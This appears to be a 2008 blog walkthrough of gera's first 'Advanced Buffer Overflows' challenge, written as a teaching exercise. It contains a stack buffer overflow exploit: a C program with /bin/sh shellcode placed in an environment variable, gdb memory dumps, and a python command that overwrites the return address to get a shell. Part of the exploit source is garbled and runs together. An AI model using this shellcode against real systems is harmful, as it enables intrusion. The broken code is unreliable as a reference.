7/11/2008

Advanced Buffer Overflows, Take #1

Welcome back. Today we will make another step ahead in the path gera set up some time ago. Today's topic will be the first challenge of the ADVANCED BUFFER OVERFLOWS section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.

This how the C source looks like:

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}

The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.

Now, we can take too diferents approaches while exploiting this error after overwriting the ret value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".

Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the ret value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after 0xbffffffa.

Once having understood the breafing, let's move into more practical ground. In my case I'll use the COLORTERM variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (abo1exp.c) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):
#include

#define BUFFSIZE 256
#define NOP 0x90

char sc[] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char *argv[]){
char *buff, *ptr;
int bsize=BUFFSIZE,i;

if(!(buff = malloc(bsize))){
printf("Can't allocate memory.\n");
exit(0);
}

ptr = buff;

for(i=0;i< colorterm=",10); putenv(buff); system(">


Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding 0xbffffffa:

(gdb) x/20x 0xbfffff40
0xbfffff40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)



Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case 0xbfffff40 turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend python to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the ret value when we used 272 characters, therefore 272 - 4(size of word) = 268:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`
sh-3.00$


So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!

No comments: